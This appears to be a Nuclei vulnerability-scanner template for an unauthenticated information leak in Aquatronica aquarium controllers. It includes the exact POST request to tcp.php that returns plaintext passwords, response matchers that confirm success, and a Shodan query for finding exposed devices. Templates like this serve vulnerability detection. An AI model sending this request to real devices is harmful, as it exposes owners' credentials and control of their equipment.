id: aquatronica-info-leak

info:
  name: Aquatronica Control System 5.1.6 - Information Disclosure
  author: securityforeveryone
  severity: high
  description: |
    The tcp.php endpoint on the Aquatronica controller is exposed to unauthenticated attackers over the network. This vulnerability allows remote attackers to send a POST request which can reveal sensitive configuration information, including plaintext passwords. This can lead to unauthorized access and control over the aquarium controller, compromising its security and potentially allowing attackers to manipulate its settings.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php
    - https://www.exploit-db.com/exploits/52028
    - https://www.zeroscience.mk/codes/aqua.txt
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"aquatronica"
  tags: exploitdb,aquatronica,info-leak

http:
  - raw:
      - |
        POST /tcp.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        function_id=tcp_xml_request&command=WS_GET_NETWORK_CFG

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "WEB_PASSWORD"
          - "pwd=""
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100aadc273e2296921d5b626e81c36425d5e2e06d2ab2bb28dd474b64c2f4fe02150220487e00677d55c5024c3a496b423945c214d9edc0c360d3a0614a8b227e0e17cf:922c64590222798bb761d5b6d8e72950